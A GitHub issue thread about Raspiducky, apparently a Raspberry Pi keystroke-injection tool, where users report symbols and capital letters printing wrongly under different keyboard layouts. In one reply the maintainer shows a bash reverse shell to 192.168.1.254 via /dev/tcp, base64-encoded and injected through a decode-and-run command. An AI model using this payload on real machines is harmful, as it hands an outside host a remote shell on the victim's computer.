Raspiducky icon indicating copy to clipboard operation
Raspiducky copied to clipboard

unable to print ">" or "<" symbols

Open arrase opened this issue 8 years ago • 6 comments
trafficstars

key code 60 and 62 do no print the expected symbols

arrase avatar Mar 31 '17 21:03 arrase

For me at least, when told to print "/" or "|" it does not print the correct characters. Instead of "/" it prints "&" and instead of "|" it prints "¡". Also, "=" turns to ")" and "_" turns to "-"

name-here avatar Apr 17 '17 23:04 name-here

did you try adjust your keyboard layout at /etc/raspiducky/keyboard_layouts/current.py?

Those symbols are well printed , looks like you only need to change it for your layout, by example, currently "|" is "right-alt 1", is good that combo for your layout? if not just change it

arrase avatar Apr 18 '17 07:04 arrase

in the other hand, there is a workaround when a symbol can't be printed, just convert your string to base64, by example for run a reverse shell when you are unable to print < or > :

  bash -i >& /dev/tcp/192.168.1.254/6000 0>&1

You can:

  echo "bash -i >& /dev/tcp/192.168.1.254/6000 0>&1" | base64

And run that with raspiducky:

  STRING echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjU0LzYwMDAgMD4mMQo= | base64 --decode | bash

arrase avatar Apr 18 '17 07:04 arrase

Thanks. That fixed the problem. But for some reason capital letters print as lowercase. Any idea why?

name-here avatar Apr 18 '17 11:04 name-here

hmmm, maybe...i have to take a look later , but i think you are right and that problem with capital letters needs to be fixed at Raspiducky

Thank you for the feedback

arrase avatar Apr 18 '17 11:04 arrase

Upper case support is done :)

arrase avatar Apr 19 '17 17:04 arrase